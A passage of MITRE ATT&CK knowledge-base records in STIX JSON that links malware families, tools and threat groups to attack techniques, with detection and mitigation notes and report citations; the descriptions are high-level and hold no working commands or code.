Retrieved January 11, 2023.","url":"https://www.linkedin.com/pulse/raas-avoslocker-incident-response-analysis-fl%C3%A1vio-costa?trk=articles_directory"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-14T16:44:09.097Z","description":"During [C0018](https://attack.mitre.org/campaigns/C0018), the threat actors opened a variety of ports to establish RDP connections, including ports 28035, 32467, 41578, and 46892.(Citation: Costa AvosLocker May 2022)","relationship_type":"uses","source_ref":"campaign--519ee082-8ab6-439b-988f-a8a3f02c8d30","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4bcd21d2-7583-4b82-8d33-2b153eeb6fdb","type":"relationship","created":"2020-03-17T14:09:17.335Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub PowerSploit May 2012","description":"PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.","url":"https://github.com/PowerShellMafia/PowerSploit"},{"source_name":"PowerSploit Documentation","description":"PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.","url":"http://powersploit.readthedocs.io"}],"modified":"2020-03-17T14:09:17.335Z","description":"[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of CodeExecution modules that inject code (DLL, shellcode) into a process.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)","relationship_type":"uses","source_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4bd1d517-6f84-4f2d-9db6-781ec214b814","type":"relationship","created":"2022-03-30T14:26:51.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.873Z","description":"Monitor and analyze network packet contents to detect application layer protocols, leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, protocol port mismatch, anomalous syntax, or structure). Consider packet inspection for Wake-on-LAN magic packet consists of 6 bytes of FF followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN)","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--451a9977-d255-43c9-b431-66de80130c8c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitLab WakeOnLAN","description":"Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February 17, 2021.","url":"https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4bd30351-b64b-47cb-897b-951b76ca668b","type":"relationship","created":"2020-10-21T17:10:53.776Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Metamorfo Apr 2018","url":"https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html","description":"Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."}],"modified":"2020-10-21T17:10:53.776Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has used raw TCP for C2.(Citation: FireEye Metamorfo Apr 2018) ","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4bd4de17-4aa2-4924-a1fd-d82a68209cf0","created":"2024-10-07T22:00:16.946Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-07T22:00:16.946Z","description":"Apply user account management principles to limit permissions for accounts interacting with email attachments, ensuring that only necessary accounts have the ability to open or execute files. Restricting account privileges reduces the potential impact of malicious attachments by preventing unauthorized execution or spread of malware within the environment.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4bd59ceb-eb44-45c0-b775-3eaea3307455","created":"2022-06-02T13:15:25.600Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cybereason PowerLess February 2022","url":"https://www.cybereason.com/blog/research/powerless-trojan-iranian-apt-phosphorus-adds-new-powershell-backdoor-for-espionage","description":"Cybereason Nocturnus. (2022, February 1). PowerLess Trojan: Iranian APT Phosphorus Adds New PowerShell Backdoor for Espionage. Retrieved June 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[PowerLess](https://attack.mitre.org/software/S1012) can download additional payloads to a compromised host.(Citation: Cybereason PowerLess February 2022)","modified":"2022-06-02T19:51:49.818Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--35ee9bf3-264b-4411-8a8f-b58cec8f35e4","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4bd74c6c-9e4f-4048-b968-13319d68ff00","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html","description":"Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.","source_name":"FireEye FELIXROOT July 2018"},{"source_name":"ESET GreyEnergy Oct 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf","description":"Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}],"modified":"2020-03-17T01:16:25.941Z","description":"[FELIXROOT](https://attack.mitre.org/software/S0267) collects the victim’s computer name, processor architecture, OS version, volume serial number, and system type.(Citation: FireEye FELIXROOT July 2018)(Citation: ESET GreyEnergy Oct 2018)","relationship_type":"uses","source_ref":"malware--cf8df906-179c-4a78-bd6e-6605e30f6624","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4bd79a52-d28c-4880-9f10-dda500ac40c9","created":"2023-09-18T20:34:03.659Z","revoked":false,"external_references":[{"source_name":"Cisco Operation Layover September 2021","description":"Ventura, V. (2021, September 16). Operation Layover: How we tracked an attack on the aviation industry to five years of compromise. Retrieved September 15, 2023.","url":"https://blog.talosintelligence.com/operation-layover-how-we-tracked-attack/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-18T20:34:03.659Z","description":"\n[TA2541](https://attack.mitre.org/groups/G1018) has used `mshta` to execute scripts including VBS.(Citation: Cisco Operation Layover September 2021)\n","relationship_type":"uses","source_ref":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4bdb2764-695c-42d8-afac-f5618660cae7","created":"2021-07-16T19:28:57.136Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB GrimAgent July 2021","description":"Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024.","url":"https://www.group-ib.com/blog/grimagent/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:32:39.431Z","description":"[GrimAgent](https://attack.mitre.org/software/S0632) can enumerate the IP and domain of a target system.(Citation: Group IB GrimAgent July 2021)","relationship_type":"uses","source_ref":"malware--c9b99d03-ff11-4a48-95f0-82660d582c25","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4be17eba-9ee0-46ff-b019-ce32c25ad146","type":"relationship","created":"2019-06-28T14:58:02.557Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf","source_name":"ESET LightNeuron May 2019"}],"modified":"2020-03-20T18:40:34.870Z","description":"[LightNeuron](https://attack.mitre.org/software/S0395) is controlled via commands that are embedded into PDFs and JPGs using steganographic methods.(Citation: ESET LightNeuron May 2019)","relationship_type":"uses","source_ref":"malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb","target_ref":"attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4be42e8a-4547-43c5-97bf-01440994f95b","created":"2022-09-21T15:25:11.213Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-22T18:56:20.813Z","description":"[Empire](https://attack.mitre.org/software/S0363) can automatically gather the username, domain name, machine name, and other information from a compromised system.(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4be47566-ae2c-49cd-bde4-db506762728a","created":"2022-03-30T14:26:51.846Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection. Detecting the use of environmental keying may be difficult depending on the implementation.","modified":"2022-04-19T23:52:24.065Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4be5482c-2a58-41af-a7d7-477c596b4622","created":"2020-05-26T18:49:10.050Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Medium Metamorfo Apr 2020","description":"Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020.","url":"https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767"},{"source_name":"ESET Casbaneiro Oct 2019","description":"ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021.","url":"https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/"},{"source_name":"FireEye Metamorfo Apr 2018","description":"Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020.","url":"https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html"},{"source_name":"Fortinet Metamorfo Feb 2020","description":"Zhang, X. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020.","url":"https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-05T14:53:48.873Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has configured persistence to the Registry key HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run, Spotify =% APPDATA%\\Spotify\\Spotify.exe and used .LNK files in the startup folder to achieve persistence.(Citation: Medium Metamorfo Apr 2020)(Citation: FireEye Metamorfo Apr 2018)(Citation: Fortinet Metamorfo Feb 2020)(Citation: ESET Casbaneiro Oct 2019)","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4be87979-faf9-4a7a-998a-d1aa3fbf5a80","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Hydraq Jan 2010","description":"Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"}],"modified":"2020-02-18T03:48:53.701Z","description":"[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can retrieve information such as computer name, OS version, processor speed, memory size, and CPU speed.(Citation: Symantec Hydraq Jan 2010)","relationship_type":"uses","source_ref":"malware--73a4793a-ce55-4159-b2a6-208ef29b326f","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4bf260f4-0a10-49d9-b930-e1293f40e693","created":"2021-04-07T14:04:31.945Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Cobalt Strike September 2020","description":"Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20210219195905/https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:23:54.838Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can produce a sessions report from compromised hosts.(Citation: Talos Cobalt Strike September 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4bf29716-d465-431c-9c45-f2b7a213cdec","created":"2024-09-23T22:44:00.557Z","revoked":false,"external_references":[{"source_name":"group-ib_redcurl1","description":"Group-IB. (2020, August). RedCurl: The Pentest You Didn’t Know About. Retrieved August 9, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl/"},{"source_name":"group-ib_redcurl2","description":"Group-IB. (2021, November). RedCurl: The Awakening. Retrieved August 14, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl-2/"},{"source_name":"trendmicro_redcurl","description":"Tancio et al. (2024, March 6). Unveiling Earth Kapre aka RedCurl’s Cyberespionage Tactics With Trend Micro MDR, Threat Intelligence. Retrieved August 9, 2024.","url":"https://www.trendmicro.com/en_us/research/24/c/unveiling-earth-kapre-aka-redcurls-cyberespionage-tactics-with-t.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T22:44:00.557Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) has used PowerShell to execute commands and to download malware.(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2)(Citation: trendmicro_redcurl)","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4bf2c4b0-9b7c-4546-ad21-1ca6c97afd14","created":"2024-03-13T21:20:48.028Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SCILabs Malteiro 2021","description":"SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.","url":"https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-13T21:21:00.525Z","description":"[Mispadu](https://attack.mitre.org/software/S1122) has been spread via malicious links embedded in emails.(Citation: SCILabs Malteiro 2021)","relationship_type":"uses","source_ref":"malware--4e6464d2-69df-4e56-8d4c-1973f84d7b80","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4bf364ad-1e9c-4860-93c0-241da4c81068","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Aquino RARSTONE","description":"Aquino, M. (2013, June 13). RARSTONE Found In Targeted Attacks. Retrieved December 17, 2015.","url":"http://blog.trendmicro.com/trendlabs-security-intelligence/rarstone-found-in-targeted-attacks/"}],"modified":"2020-03-16T19:06:33.151Z","description":"[RARSTONE](https://attack.mitre.org/software/S0055) downloads its backdoor component from a C2 server and loads it directly into memory.(Citation: Aquino RARSTONE)","relationship_type":"uses","source_ref":"malware--8c553311-0baa-4146-997a-f79acef3d831","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4bfaaf99-6884-4df1-af72-0cc61ce50aa0","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html","description":"Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.","source_name":"Talos Cobalt Group July 2018"}],"modified":"2019-07-26T23:38:33.861Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) has sent malicious Word OLE compound documents to victims.(Citation: Talos Cobalt Group July 2018)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4bfd7ff0-f4a9-48f4-b5fb-1483dc74e760","type":"relationship","created":"2021-03-02T16:42:09.473Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CERT-FR PYSA April 2020","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf","description":"CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021."}],"modified":"2021-03-02T16:42:09.473Z","description":"[Pysa](https://attack.mitre.org/software/S0583) has extracted credentials from the password database before encrypting the files.(Citation: CERT-FR PYSA April 2020) ","relationship_type":"uses","source_ref":"malware--a19c1197-9414-46e3-986f-0f609ff4a46b","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4c06e313-2cde-494c-a8dc-449649a1afa6","created":"2017-05-31T21:33:27.066Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Blockbuster Destructive Malware","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.","url":"https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"},{"source_name":"Novetta Blockbuster","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"},{"source_name":"McAfee Lazarus Resurfaces Feb 2018","description":"Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/"},{"source_name":"McAfee GhostSecret","description":"Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.","url":"https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-14T18:36:01.576Z","description":"Several [Lazarus Group](https://attack.mitre.org/groups/G0032) malware families encrypt C2 traffic using custom code that uses XOR with an ADD operation and XOR with a SUB operation. Another [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample XORs C2 traffic. Other [Lazarus Group](https://attack.mitre.org/groups/G0032) malware uses Caracachs encryption to encrypt C2 payloads. [Lazarus Group](https://attack.mitre.org/groups/G0032) has also used AES to encrypt C2 traffic.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: McAfee GhostSecret)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4c0f441f-13b1-4b79-b658-e081d5143a94","type":"relationship","created":"2019-01-29T17:59:44.517Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.","url":"https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf","source_name":"GDATA Zeus Panda June 2017"}],"modified":"2019-04-16T20:55:20.100Z","description":"[Zeus Panda](https://attack.mitre.org/software/S0330) can download additional malware plug-in modules and execute them on the victim’s machine.(Citation: GDATA Zeus Panda June 2017)","relationship_type":"uses","source_ref":"malware--198db886-47af-4f4c-bff5-11b891f85946","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4c131eaa-c7c1-4c17-bcab-25cdf35e743c","created":"2022-07-25T18:07:12.938Z","x_mitre_version":"0.1","external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Mongall](https://attack.mitre.org/software/S1026) has the ability to RC4 encrypt C2 communications.(Citation: SentinelOne Aoqin Dragon June 2022)","modified":"2022-07-25T18:07:12.938Z","relationship_type":"uses","source_ref":"malware--6fb36c6f-bb3d-4ed6-9471-cb9933e5c154","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4c13f346-bdd9-4759-b1a8-1f3a38c6055b","created":"2023-04-04T22:44:08.197Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-04T22:44:08.197Z","description":"[Mafalda](https://attack.mitre.org/software/S1060) can execute PowerShell commands on a compromised machine.(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4c142924-33e7-4920-b1c7-9259d08fbb6e","type":"relationship","created":"2019-08-26T15:27:13.005Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Cimpanu, C.. (2018, December 5). Cyber-espionage group uses Chrome extension to infect victims. Retrieved August 26, 